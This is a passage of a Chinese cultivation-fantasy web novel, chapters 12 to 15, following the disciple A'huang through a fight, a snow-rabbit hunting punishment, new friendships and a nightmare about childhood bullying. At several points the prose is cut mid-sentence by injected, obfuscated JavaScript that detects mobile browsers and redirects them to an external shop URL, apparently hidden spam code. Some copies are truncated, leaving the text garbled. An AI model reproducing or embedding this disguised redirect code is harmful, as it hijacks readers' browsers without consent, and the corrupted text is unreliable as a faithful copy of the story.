“我没事,你是?”阿凰确定没见过他,但是他怎么一开口就喊自己师妹?怎么知道就是晚辈呢? “我叫正枫,只是一名普通的弟子罢了,我知道师妹你是玄极长老的弟子,拜师大会那日,许多人都去看热闹,你一舞惊鸿,给不少人留下印象。” 原来如此。阿凰点点头,再看向宋清希时,发现他的脸色又变得很难看了。 “你们虽是同门,稍作切磋是合理之中,可这位师弟出手似乎太凌厉了些,切磋理应点到为止,出手过重伤及同门就不好了。”正枫正义凛然道。 宋清希冷冷看着,冷笑道:“我和她切磋,与你何干?你倒是正义,演绎了一场英雄救美的戏码,让我当了一次恶人。” 正枫直直地站着挡在阿凰面前,像一堵墙:“我不敢自诩英雄,只是担心同门受伤,和气为重,切磋就到此为止吧。” “我们无尽峰的事,与你一个外人何干?”宋清希不爽道,“倒是因为你插手,破坏了我与她定下的规则,刚刚那一掌不算数。” “你少耍赖,这不算那不算,可别说你输不起。”阿凰说。 看出她被为难,正枫给了她一个安慰的眼神,悄悄说:“师妹先走,若他再出手,我拦住就是。” 他身为师兄,实力比她肯定高,怕自己留下来会成为拖累,阿凰只能同意。 刚走出去一段距离,宋清希就毫不留情地发起攻击,叫道:“站住!我让你走了吗?我说了不算数你没听到吗?” 阿凰才懒得理他,可是她担心好心的师兄打不过,回头看了一下,宋清希攻势十分猛烈,正枫就要招架不住了。 没办法,她只能回头帮助,正义的二打一,稍微找回了一点优势。 宋清希冷哼一声:“我让你们几十招你们也打不过我。” 就在此时,一股力量从头顶压迫而下,两边的攻击终于停止了,可他们也都躺在地上一动不动了,好像被一张无形的网罩在地上。 玄极从上空降落,依旧一脸冷漠地看着三个弟子。 “还打吗?” 不敢了不敢了。 一点挣扎的力气都没有,力气使不上来,阿凰老实了,玄极劝架的办法就是把两边的人都揍一顿啊。 12. 被罚 “说,在闹什么?”玄极冷冷的声音。 阿凰看着宋清希:“是他非要挑衅我,我身上有伤痕可以作证。” 玄极把目光投向在场唯一的外人正枫,他道:“玄极长老,我也是偶然听到打斗声,看到师妹被师弟压着打,以为她受了欺负,这才出手相助,若长老要责罚,只责罚我一人便是,是我作为师兄没做好表率。” 阿凰没想到他会这么说,忙道:“这不关正枫师兄的事,非要怪就怪我实力不济,打不过宋清希,正枫师兄只是好心相助,我不想牵连他,我宁愿一人承担责罚。” 玄极看向宋清希,他一脸不在乎:“随便,我不怕惩罚。” 于是三个人都被处罚了,一起去后山抓雪兔子。 前往后山的路上,阿凰不解地问:“雪兔子是什么品种的兔子?是雪做的吗?” 正枫笑了,他本就是憨厚老实的长相,笑起来倒有些孩童的天真:“雪兔子因其长相通体雪白,又像雪一样一触既化,所以叫雪兔子,极其狡猾,泛滥成灾,将雪灵草啃得快寸草不生了,时常要有人去抓它们才行。” “哟哟哟,正枫师兄真是知识渊博。”宋清希阴阳怪气地说,好像自己被忽略了不高兴,在找存在感。 被他这么挑衅,正枫也不恼怒,只是继续和阿凰说话,没多久,他说了一声:“到了。” 有一块光秃秃的地面很是突兀,凑近一看才能看到一些草根露在外面,真是被啃惨了。 “雪兔子能吃吗?”阿凰问。 “没有人试过。”正枫说。 “怎么又在惦记能不能吃?”宋清希不合时宜的声音响起。 知道他在提起飞鱼的事,阿凰没理会他,只是和正枫说:“如果雪兔子能食用,并且好吃的话,许多人拿去烹饪,就不会导致泛滥了。” 不过这雪兔子听起来和泡沫一样,一碰就碎,一触既化,应该是吃不了的。 正枫认真思考起可行性,而后说:“这地方的雪灵草被啃光了,雪兔子不会来这里的,我们去附近找找看。” “要分头找吗?”阿凰问。 正枫看了看宋清希,正担忧他会不会趁机对落单的阿凰下手,对方好像看出来他的意思,不爽道:“你觉得我会偷袭她?那你尽管去保护她,最好保护一辈子。” 说罢怒气冲冲地走远了,留下一脸尴尬的正枫。 “他这人就这样,嘴巴跟淬了毒似的,我们打架就是因为他挑衅我,骂不过我,恼羞成怒了,正枫师兄把他的话当狗叫就好了。”阿凰安慰道。 正枫却摇摇头说:“身为师兄,我不该恶意揣测宋师弟的,都是同门,应该和平共处才是,至少刚刚他没有我所预料的恶意,我却先那么揣测他,他不高兴也是正常的。” 没想到还有心思这么纯正的人,完完全全的正道弟子,阿凰不知道该说什么了,只觉得,真是个老实巴交的人啊。 你想和他和平共处,他才没那么老实呢。 过了会儿,阿凰想起来一件事,问:“正枫师兄,你比我先到紫微派,在这里的时间比较久,我想跟你问一个人,看看你认不认识。” “阿凰师妹请说。” 她回忆着说:“后山晨练时,我在路上遇到一个好心的师姐为我指路,还给了我果子吃,她穿了一身蓝衣,抓着藤蔓荡来荡去,看起来和别人有些不一样呢。” 正枫仔细听着描述,努力思索良久,最后有点无奈道:“这……抱歉啊阿凰师妹,我听不出来是什么样的人,还有别的特征吗?” 再回忆了会儿,阿凰发现自己也没别的记忆了,摇摇头,说:“没有了,毕竟只是一面之缘,只觉得那是一个很随性洒脱的女子。” “抱歉抱歉,我也不知道那是谁,过后我帮你问问。”老实人正枫又在抱歉了。 阿凰忙道:“那倒不必麻烦了!只是我自己好奇,也想跟人家道谢而已,师兄你不必这么认真的,是我没记住更多的特点。” “阿凰师妹不必自责,诚心所在,对方一定会感受到你的心意。”正枫安慰着,想了想,说,“不过听起来倒是有一个师姐兴许符合,她名为乌妤,一年前从清音门来到了这里,也是乐于助人,随性的性子,很受大家喜爱。” 也是从清音门来的?阿凰有点好奇了。 一起猫着腰找了一段时间,阿凰由于没见过雪兔子和雪灵草,不清楚具体长什么样,只能跟着正枫走,这会儿正枫脚步一停,说:“这里有一株雪灵草。” 那是一朵三片花瓣的白色花朵,微微冒着白光,雪一样洁白的颜色。 看正枫面露犹豫之色,阿凰问:“怎么了师兄?” 他说:“也不知雪兔子在哪里,它们若是受了惊躲起来就很难找到了,只能用雪灵草诱它出来,可这儿只剩一株雪灵草了,我怕拔走就不长了。” 这也太实诚了。阿凰不禁说:“正枫师兄,有没有人说过你特别老实?” “好像没有……不过老实不是很好的品质吗?” “太过老实容易被人欺负的。”虽然阿凰觉得,以他的性格,就算别人真的欺负了他,他也意识不到。 他挠挠头,笑得憨气十足:“我还没被人欺负过呢,只要做好自己,不去招惹别人,别人也不会欺负我吧?要是我自己做错了事,被别人欺负我就认了。” 在这世上,有时候你不惹事,事也会自己来惹你的。不过阿凰感觉跟他说这个他也理解不了,在这种老实人的脑子里,他们的思维是一根直线。 阿凰把话题绕回来,商量道:“那我们就先放过这株雪灵草吧,再去找找看,如果真的找不到,我们再回来采了它好吗?否则完成不了任务,我也不敢保证会发生什么,我才认识师父,还不了解他,也不敢求情。” “好的,阿凰师妹。”正枫点头认同道。 两人向更远处走去搜寻,正枫小声问:“阿凰师妹,你很怕玄极长老吗?” 她回忆了一下,说害怕倒也算不上,只是这种高冷的人,大家都会下意识不敢惹他的,而她也才认识玄极,别说熟悉了,跟他说话的次数一只手都数得过来,她潜意识里很害怕惹事被他逮个正着。 就比如今天,虽然她没有惹事,但在玄极眼里估计也算打架斗殴了吧,所以才把涉事人员一并处罚了。 仔细想来,估计也就宋清希在玄极面前一副天不怕地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126056|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不怕,牛皮轰轰的模样,还有独孤凤渊,虽为师徒,阿凰却总感觉他俩像平起平坐的,谁也不怵谁,处于井水不犯河水的微妙状态。 除了一个顾纯儿,她似乎是唯一一个在玄极的冷脸面前不但不收敛,反而格外活泼热烈的。 “不怕,我尊敬他。”阿凰回答道。 正枫嗯嗯了两声附和道:“玄极长老虽看起来冷若冰霜,铁面无情,好似拒人千里之外,可依然德高望重,没听说过他的恶评,我觉得一定是个面冷心善的人。” 她无奈笑了笑说:“还有人在正枫师兄眼里不是好人吗?” “紫微派的大家都是好人,我觉得阿凰师妹就是个很好的人。” 纯正得她不忍说一些人间险恶的话了。 搜寻半晌,眼前豁然开朗,是一大片绿油油的草地,阿凰和正枫分开一点距离,埋头寻找,在这里雪灵草很容易隐藏在草中找不到。 有些累了,她看着一块石头便打算先休息,走过去刚坐下,就看到石头下面露出一块白色,低头看去,石头底下卧着一窝雪灵草。 “正枫师兄,快过来!” 另一边的正枫闻声而至,看到雪灵草时也惊喜了,阿凰问:“这次的可以拔了吧?” “可以、可以的。”他憨憨笑着说。 拿到了雪灵草,就可以拿去当诱饵吸引雪兔子出来了。 看着正枫布置了一个简单的陷阱,把雪灵草放在其中当诱饵,阿凰内心不禁怀疑,这真的会上当吗? 她和正枫在暗处蹲守,感觉过了十几分钟的样子,陷阱那边落下来一道身影,却不是雪兔子,而是一个人。 吓得正枫赶紧上前去,解除了陷阱,搭把手把人拉起来,连连道歉。 阿凰看着那人,是一个橘红色衣衫的女孩,衣着简练,头上插了支做成橘子样式的发簪,衬得女孩灵动可爱。 “抱歉抱歉,我们是想用雪灵草吸引雪兔子出来的,误伤了你实在不好意思。”阿凰也跟着道歉。 那女孩摆摆手:“没事没事,我也没受伤,不过也是奇怪,怎么就没见到一只雪兔子?” “你也是来抓雪兔子的吗?” 女孩道:“那倒不是,我们是来采雪灵草的,听说找到了雪兔子就能找到雪灵草,哎,好麻烦。” “我们?” 女孩望向远处,用目光搜寻目标:“我是和朋友一起来采药的,咦,他人呢?” 她不会迷路了吧……阿凰在心里偷偷想,觉得这女孩呆呆的还挺可爱。 “我叫阿凰,这是正枫师兄。”阿凰介绍起来,“这位同门,你是师姐还是师妹呢?” 女孩道:“我们也是刚来的,就是平级吧?你叫我徐子岑就好了,我朋友叫许萧然,你们有见到他吗?哦对了,他是一个男的。” 阿凰心里有点想笑,摇摇头:“没见到过。” 徐子岑有点失望地叹了下气,又眼睛一亮:“你们抓雪兔子,而我们要采雪灵草,可不可以合作?人多干活不累嘛。” 阿凰看了一眼正枫,他一点意见都没有,便说:“可以啊。” “嗯……先去找我朋友吧,他也很厉害哦。” 13. 捣乱 边走边喊了几声“小然”,没有回应,徐子岑便先停下呼唤,问:“你们是从哪个门派来的?” “我只是散人一个,无门派。”阿凰说。 正枫也说:“我也是,父母离世之后我无处可去,便来了紫微派。” 原来也是个可怜人啊,难为他还能保持那么纯正的心态。阿凰想。 “好巧啊,我们也是散人。”徐子岑仿佛找到了同道中人,“这里随便问一个人都是名门正派的,我都有点自卑了,还以为就我们和别人的差距那么大,主动与人来往都怕被别人以为我们想高攀。” 十几岁的少年心思敏感,正是成长的年纪,容易迷茫又自尊心强,总是忍不住在内心和别人比较,很在意别人的看法。 “既然来了紫微派,大家都是同门手足,同一个起点,平常心对待就好了,不必怀疑自己低人一等。”阿凰安慰道。 徐子岑却沉默了会儿,摇摇头:“不是的阿凰,并不是同一个起点,五湖四海的人来到了这里,大家的背景和资质都不一样,能留下来的人当中有不少人拜不了师,更何况能被那几位长老收为徒?那是弟子中最高的荣誉了,只有这些人才有机会竞争仙门大比,你说剩下的人会不嫉妒吗?” 阿凰一时说不上话来,相比之下她确实幸运了很多,还有什么可自卑的呢? 不过,徐子岑这么一说,她心里有一种不好的猜测,不敢问出口了。 这种时候,多说一句话在有心人眼里都算炫耀,她只需要降低存在感就好了,降低存在感这件事她可是手拿把掐。 没想到正枫这个实诚人却问了:“徐师妹,你们拜了哪位师父?” “小然资质比我好,修为也比我高,拜了刘长老为师,而我资质不够,只能当个普通弟子。”徐子岑道。 “普通弟子也挺好的,我也是普通弟子,正常修行生活,没什么区分的,紫微派人杰地灵,能留在这里已经是很幸运的事了。”正枫心态很好,安慰道。 徐子岑点点头:“我知道,我也没有什么妄想,我们从小一起长大,他一直都比我优秀,这是意料之中的事,我只是怕以后很少见到他了,我知道我不该总是依赖他,可他是我唯一认识的人了……” “没关系,以后你就多了我们这两个认识的人了。”阿凰友好微笑道,“我虽然也有没什么了不起的地方,但朋友若有需要,我会尽力帮忙的。” “好啊好啊!那我们几个就是好朋友了。”徐子岑点点头,“对了阿凰,你拜了哪位师父。” 斟酌了一下,阿凰才说:“是玄极长老。” 她观察徐子岑的表情,对方神色如常,甚至还有些担忧:“听说玄极长老挺严肃的,你会感觉有压力吗?” “是有些压力。”阿凰说,“严肃……确实有点吧,我们来抓雪兔子就是因为打架被师父处罚的。” “打架也要罚……刀剑无眼,修行之路打打杀杀不是很正常吗?” 还没来得及回答,前方有一人远远看见了他们,飞身而来落在面前,是一个充满稚气的少年,见了他,徐子岑跑着迎上去:“小然!” 她为许萧然介绍起新朋友,得知要与他们合作,许萧然笑道:“那太好了,人多力量大,今天之内一定能完成任务。” 他自己手中得到了两株雪灵草,与需要的量还差很多,便将手里的草都加起来,各自去布置陷阱。 “不过这样真的有用吗?”许萧然表示怀疑。 徐子岑有点心虚地咬了咬唇。她一个大活人都能被陷阱骗了,如果雪兔子没上当的话,那真是太丢人了…… “雪兔子智力不高,应该是有用的。”正枫说。 几人在暗处伺机而动,等候许久,陷阱那边传来悉悉索索的动静,徐子岑探头出去看,惊喜道:“雪兔子真的来了!好几只啊!” 说罢就要跳出去,被阿凰按回来,说:“再等等,多吸引一些兔子,别的兔子看到同类都在这里,就会跟着过来的。” 没多久,果然有一团团白色身影从四面八方过来,草地上顿时多了一大片白色。 正当阿凰准备出手时,一股狂风凭空吹来,呼啸着越卷越大,雪兔子要么被吓跑了,要么被风吹起来,像一个个气球在天上飘。 几人手忙脚乱地去抓捕,可是雪兔子本来就胆小,经过这么一惊吓,一碰到身体它们就散了。 这么一来,雪兔子倒是被消灭了一些,也算是完成了一半玄极交代的任务,可他们的目的还是要找到更多的雪兔子,并且帮忙找到雪灵草。 没多久阿凰就有些累了,停下来气喘吁吁,四处望去,雪兔子所剩无几了。 一抬头,就看到宋清希在不远处戏谑地看着他们忙碌。 阿凰飞过去,落在他面前:“你能不能别这么幼稚?我们现在是一条绳上的蚂蚱,你非要捣乱,看着我们被你耍得团团转很开心?你以为你能置身事外吗?完不成师父布置的任务,你也别想好过。” “你以为你能威胁到我吗?”宋清希满不在乎,“我可不怕,就算他把我逐出师门我都不怕,更何况,没这种可能,我堂堂断剑山庄少主,就是我走了也会有人求我回来,所以,没有我怕的事。” “行行行,你厉害,算你狠好吗?”阿凰已经很累了,没力气跟他掰扯,尝试劝解,“现在是我们三个被处罚一起抓雪兔子,我们是一个团队的,你老实一点,好好团结,等完成了任务爱怎么样怎么样。” 宋清希看了看阿凰身后,用眼神示意:“他们是谁?” 一扭头,另外三个人看到了这边的情况,已经朝阿凰身边走过来了。 老实人正枫眼看气氛不对,想缓解一下这剑拔弩张的氛围,两边介绍起来,又说了下情况。 出于礼貌,徐子岑打了个招呼,许萧然也很外向地说场面话,宋清希却一点表示都没有,场面一度十分尴尬。 阿凰对他这个态度已经习以为常了,只说了句没礼貌。 他冷笑一声,说:“笨蛋师姐真是受欢迎啊,这么快就又认识了新朋友。” “如果你能用正常态度对别人,人家和你打招呼的时候你有回应,你也会有很多新朋友的。” “我不稀罕。” 是是是,你只稀罕你的纯儿。 问都不用问,阿凰就知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老是这样也不是个办法,阿凰尝试在意识中呼唤夜月姬,这一次她居然很快就有了回应。 听完阿凰的描述,夜月姬思索片刻,说:“我教你一个办法,待我教授你一个伪装成雪兔子的口诀,你混入它们当中,就能跟着它们回到兔子窝了。” “嘭”的一声,阿凰原地变成了雪兔子,看着同样变身伪装的同伴,四只雪兔子在草地上跑来跑去,很快就看到了几只雪兔子。 跟着它们跑了好远,终于到达目的地,此处的雪灵草比别处都茂盛,几人恢复原样,一抓一个准。 “我们这算是把雪兔子的窝都端了吗?”许萧然抱着一捆雪灵草装进储物袋。 阿凰说:“肯定不止这些,不过我们的任务也终于完成了。” 雪兔子憨态可掬,十分可爱,阿凰想起来,第一次见到顾纯儿的时候,她说最喜欢可爱的东西,阿凰便打算抓只雪兔子回去送给她,可惜雪兔子太容易散了,最后只能无奈放弃。 14. 伤痛 无尽峰,弟子居。 一道粉绿身影从宋清希的言棋阁走出来,在路口发呆,由于没有旁人,她脸上的笑容很浅,维持笑容已经成了她的习惯,即使没人在身旁也要假笑。 “纯儿师妹,你在找什么呢?”独孤凤渊从一旁走来,声音柔和得令人心颤。 自从顾纯儿离去后,他就一直跟着她,直到她进入了玄极的住所,他才无法继续跟随。 突然出现的人让顾纯儿一惊,脸上马上抬起笑容,用纯洁得无法挑出瑕疵的眼神看着他:“是独孤师兄啊,我来看看宋师弟,我怕他离开断剑山庄在这里住不惯。” “纯儿师妹真是善解人意。”独孤凤渊的声音冷了一丝,“说起来,紫微派和凌霄宗大有不同,连我也有些住不惯。” 顾纯儿似乎有点心不在焉:“这样子啊……这也许就是水土不服吧。” 没有得到预想之中的关心,独孤凤渊有些失落,正要再找些话题和她多说话,她却向他挥挥手:“我先走啦。” 他立刻道:“纯儿师妹要找宋师弟的话,我听说他被师父责罚,去后山抓雪兔子了。” 顾纯儿一愣,看起来懵懂可爱:“哎?怎么会这样?” 眼见她被吸引住,独孤凤渊有些庆幸,虽然话题还是离不开别人,至少当下她的时间是他的。 他解释道:“听说原因是同门闹事互殴,宋师弟少年气盛,发生这样的事倒不令人意外。” “他和谁打架啊?”顾纯儿睁着一双好奇的眼睛问,声音甜腻得醉人,她自己都没意识到,她早已习惯了只要在异性面前就用这种腔调说话。 独孤凤渊不免有些心神荡漾,迟缓了好一会儿才回答:“好像是和阿凰,还有另一个同门。” 顾纯儿不语,不知道在思索什么,然后向独孤凤渊甜甜一笑:“好,我知道啦。” 说罢转身走人,独孤凤渊问:“纯儿师妹是要去帮宋师弟吗?” 她头也没回,扬起声音回答:“没有啦,既然师父要责罚必然有他的道理。” 直到她的身影彻底远去,直至看不见,独孤凤渊看着言棋阁,脸上阴郁得可怕。 走远了些,顾纯儿脸上的笑容暗淡下来。 她确实没有要去帮宋清希的打算,至于阿凰,就更不在她的考虑范围内了,她没有必要为了这两个人去忤逆师父,她的形象还没有立稳,暂时不想趟浑水。 她认为,这世上的人都有三六九等,朋友也是要分级的,头等的才需要维护关系,次等的,就算她摆脸色,那些人也会像狗皮膏药一样黏着她不放。 这种情况,有时候是甜蜜,有时候就是烦恼了。比如宋清希这样的人的纠缠,她觉得是好事,然而她太容易获得别人的喜爱,所以大部分时候都是烦恼。 被一个家世优越的美男子纠缠,和被一个村野蛮夫纠缠的感觉是不一样的,前者叫有来有回,后者就是恶心了。 人的精力是有限的,她可没有那么多时间去一一回应每一个人,好在即使她有时候敷衍应对,也从来没有人不满。 顾纯儿自己也不明白,为什么只要人们听到她的声音,就会自动喜欢上她,长此以往,她便认为自己的人格魅力就是这么大,毕竟爹爹和娘亲名扬天下,她作为备受宠爱的大女儿怎么会差呢? 从小到大,夸赞她的人多得数不过来,夸她声音好听,为人甜美,这世界送与她的滔天爱意有时让她觉得腻得慌,烦躁,她早已麻木了,这些东西有的就像路边的杂草,毫无价值。 她也知道自己就是拥有这些优点,早就习惯了万众瞩目的感觉,她总是不费吹灰之力就能俘获别人的心,自然认为这世上没有难事。 只是,宋清希和阿凰怎么会打起来? 顾纯儿回想了一下,这两个人性格天差地别,怎么会有联系呢?应该聊不到一起吧?宋清希开朗外向,是少数的能在她心里留下印象的人,而阿凰,直到如今她的评价还是平平无奇的普通人,如果没有天舞缭乱,没有被师父收为徒,她根本就不会记得这个人。 所以这两个人是怎么会起矛盾的?不知为何,顾纯儿心中莫名冒出一丝危机感。 …… 夜里,阿凰清晰地感受到自己大脑清醒了,可是身体动弹不得,迷糊中她又被拖进梦魇之中。 久远的记忆被唤醒,眼前的场景变回陌生又熟悉的初中校园,女生宿舍里,她在刷着一双不属于自己的鞋子。 “哟,你在帮赵姐洗鞋子啊?”那个长得和顾纯儿一模一样的女生居高临下地看着阿凰,她嘴里的赵姐就是太妹小团体的大姐头。 阿凰抬头看了她一眼,低头继续刷鞋,用故作轻松的语气只回了个“对啊”,仿佛这样就显得她不在意这件事,不在意就不那么屈辱了。 她原本是在这里洗自己的鞋子,可是赵姐提着自己的鞋子进来,一看到她,就把鞋子丢到她面前,用不容商量的语气让她顺便把自己的鞋子也洗了。 她不敢说不,也没同意,赵姐就默认她同意了,指挥完就不愿意呆在这里。 “那顺便帮我也洗了吧。” 像顾纯儿的女孩语气吊儿郎当,很快就把自己的鞋子拿过来,腰也不弯,直直站着把鞋子丢到阿凰面前,地上的脏水溅起来一些,混合着泡沫,溅到阿凰脸上,头发上。 她刚洗干净晾干的头发。 她抹去水渍,心中压抑着不甘和怒火,正准备鼓起勇气,哪怕凶那个女孩一句呢,让她知道她也是有脾气的。 可是一抬头,女孩已经笑嘻嘻地跑了,像个恶作剧没个度的小孩子,残忍得天真,可女孩早已不是小孩子,阿凰也没法说服自己她只是太调皮。 阿凰忽然就忍不住想哭了,她好委屈,好想哭诉一下,可是在这世上,她没有可以哭诉的人。 为什么,那个女孩幼儿园时期就那么恶劣地欺负她,上了小学之后,本以为终于可以甩掉她,没想到初中时又遇到她,知道她是靠关系进来的,阿凰心里更无力了,因为这意味着她不会轻易走人。 也正因如此,小太妹团体一开始霸凌女孩,只敢用小偷小摸的方式,也就是冷暴力,搞孤立。 阿凰见她实在可怜,想着她现在长大了,兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也就是在这时候,阿凰才知道大家眼里都以为她和转学生会在一起,觉得他们很般配。 这种叛逆女孩的热烈追求是男生无法拒绝的,充满了新鲜和刺激。 教室的灯突然灭了,再次亮起来的时候,那个女孩惊魂未定地抱着转学生的手臂。 旁边的人在小声揶揄女孩好装,阿凰没在意,因为女孩在用挑衅的眼神看着她。 她心中忽然涌上一股可悲,为自己的无力,也为女孩的行为,她知道,女孩不一定是真的喜欢转学生,只是因为想和她作对罢了,半大的青少年气别人的方式就是故意抢走她心爱的一切。 由此,她的青春期第一份萌动无疾而终。 在后来无数个难熬的日夜里,阿凰一直无法理解,那个女孩为什么从小就那么坏,并且长大后毫无长进,甚至更坏了? 一股气闷在胸口,压得阿凰呼吸困难,梦里的她哭了出来,哭着哭着就醒了,醒过来的时候发现正在哭,她愣住好久,干脆放纵自己,大哭一场也许心里就能好受了。 15. 关怀 成功留在紫微派之人都不是零基础的,尤其是被掌门收为徒的,绝非泛泛之辈,所以日常课程和普通弟子也不一样,长老不会从零开始传授,只会评估和考验弟子的能力。 晨练是普通弟子每日睁开眼的第一件事,而像阿凰这类弟子,只需要等待师父交代。 今日没有晨练,所以阿凰醒来后,因为情绪还低落着就多躺了一会儿。 还在发着呆,她就听到外面有动静,接着有人在敲门,徐子岑的声音传来:“阿凰,你还在吗?我们来找你了。” 阿凰赶紧收拾了一下,打开门就看到四个人站在门口,竟显得有些拥挤,她门前难得这么热闹。 “这位姑娘说是你的朋友,我们就带路了。”徐子岑说。 看到独孤槿的那一刻,阿凰惊喜道:“阿槿!你怎么来了?” “我来看看你有没有习惯这里的生活。”独孤槿道,“原本是先去表哥那边找他的,他不在我就过来看你了。” 说着说着,独孤槿看着阿凰的眼睛,发现了不对劲,问:“你的眼睛怎么了?是不是刚刚哭过?” 徐子岑也凑上来:“谁欺负你了?我第一个骂他,我虽然打不过,但是骂人很厉害的,我跟小然都很会骂!” 许萧然点头附和:“我能打还能骂,请求出战!” 正枫说:“我虽然嘴笨,修为也不高,但是为了朋友,我也能做到两肋插刀。” 真是一帮正义凛然的少年啊。 第一次被这么多人关心,让阿凰感受到了家人陪伴般的温馨,她笑了,说:“没有人欺负我,我只是做噩梦了而已,谢谢你们这么关心我。” 独孤槿放心了下来,安慰道:“梦都是反的,别担心,有我们呢。” “大家先进屋吧。” 带四人进屋坐下,阿凰才看到独孤槿怀里托着一只奶猫,小小的一只,拳头一样大小,看起来也就一两个月大,它缺了一边耳朵,显得脑袋好像被削了一半,可眼睛依然明亮,可怜兮兮中带着警惕,它好像很怕生,一直瑟缩在独孤槿怀里,两只大眼睛滴溜溜的看着周围的人。 独孤槿解释道:“这是我在路上见到的,脏兮兮的一小只,就快饿死了,一只脚受了伤,还没了耳朵,实在可怜,我就先给它清理了一下,又喂了点吃的,这才对我暂时有了点信任,愿意让我抱着,可还是怕生得要命。” “这小家伙是真的很怕人,我想摸一下都被它挠了手。”许萧然也说,伸出那只被抓伤的手,“幸好我反应快,只是一点点擦伤,处理了一下就没事了。” “我原想着可以收养它,找个地方安顿它,每日去看望,可它实在很怕人,警惕得很,我们完全无法近身。”正枫也说。 阿凰也没有养猫的经验,只是前世在网上云吸猫,关于猫的知识只知道一点。 “还没适应陌生环境,它害怕吧。” 她话刚说完,小奶猫就嗖的一下冲出去,一眨眼就溜到了床底。 “那就让它待着吧,它要是留下来我就养着,要是想走,也算是我们没缘分。”阿凰说。 另外四人都同意,徐子岑拿出一粒丹药,说:“我去请求了药修,和他们说明情况得来了这么一颗药,兴许能治你的嗓子,快试试看!” 可是阿凰内心很清楚,她的嗓子和脸不是吃药能治好的,这和夜月姬息息相关,但她不能说,而且,徐子岑的好意她不想辜负,便接过丹药吃下去。 等了好一会儿,徐子岑期待地看着她:“怎么样?” 阿凰清了清嗓子,说:“好像没什么感觉。”她的声音也毫无变化,这完全在她的意料之中。 徐子岑泄了气,失望道:“到底要怎么才能治好啊……不对,他们骗我!” “药修也不是神仙,治不了我这怪病属实正常。”阿凰拉住这个冲动的姑娘,“反正也不影响我吃饭说话,我早就习惯了,也许哪一天它就会自己好了。” 安静了一下,徐子岑又冒出想法,问:“唉,听说有一位小师妹人送称号妙音仙子,一提起来大家都很喜欢她,听说她是医修,正好也是玄极长老的弟子,阿凰倒不如问问她有没有办法?能成为玄极长老的弟子,想必医术十分精湛吧?正好小猫的腿伤也可以请她看看?” 阿凰有些犹豫,不知为何,她很害怕麻烦顾纯儿。她自己身上的怪病本就不是寻常方法可以治愈的,于是就只剩小猫的伤,她想,她可以自己请医修来救治。 似乎看出了她的尴尬,独孤槿转移话题:“这个慢慢来吧,对了阿凰,跟着玄极长老这么厉害的人修行,你感觉怎么样?” 许萧然也说:“听说阿凰师姐以音律为武器,想必音乐造诣很高吧?” “不敢自诩有什么造诣,只是略懂一些。”倒不是阿凰装谦虚,而是她自认为自己懂的不多,每次需要的时候能发挥的作用都很小。 独孤槿笑说:“阿凰太自谦了,你的能力,我们初次见面的时候我就领悟到了。” “正好我也很喜欢唱歌,不如阿凰师姐为我们奏乐,让我们大饱耳福。”许萧然道。 “好啊。” 虽然成为长老弟子后都住进了单间,但彼此之间还是有一些距离的,阿凰怕打扰到别人,就跟着他们进了后山。 不得不说后山真是个万能的地方,能晨练还适合静修,阿凰想起上次为自己指路还给了果子的那位师姐,走路的时候四处看了看,但是这次没看到她。 到了一处地势平坦的地方,阿凰拿出玉笛做好了准备,许萧然报出一首曲子,是这个地方流行的一首表达青年之间表达爱意的歌,这首曲子对阿凰来说没什么难度,准备好便举起玉笛吹奏。 一曲唱毕,许萧然十分捧场:“有阿凰师姐动听的笛音相伴,我的歌声都比平时好听多了。” “我也感觉阿凰的曲子相比取魔丹那一次,似乎是有了进步。”独孤槿也说。 “阿凰师姐既然有着这么高的音律天赋,不如也高歌一曲?否则实在有些可惜啊。”许萧然又说,满是期待。 徐子岑捶了他一下:“说什么呢?阿凰嗓子不适,你非要为难人家?” 许萧然这才挠挠头说:“抱歉抱歉,我太期待阿凰师姐唱歌是什么样的,一时失了智。” 阿凰倒没觉得有什么冒犯的,不在乎地笑了笑:“没关系,日后我若恢复了,你们不嫌弃我就唱给你们听,我有一首很喜欢的曲子,不如吹来让你们听听?” 迎着伙伴期待的目光,阿凰吹出了记忆里喜爱的旋律,是一首来自游戏的纯音乐,在故事的结局,尘埃落定,主角团的少年们望着夕阳,风吹过草地,发丝飞扬,即将迎来全新的美好的世界。 虽然他们几个还没有共同经历生死,可阿凰却感觉和大家相见恨晚,觉得每一个人都特别好,她真的很容易为友情而动容。 共同嬉戏到下午,阿凰倍感轻松, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126059|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像所有的不开心都被吹散了。 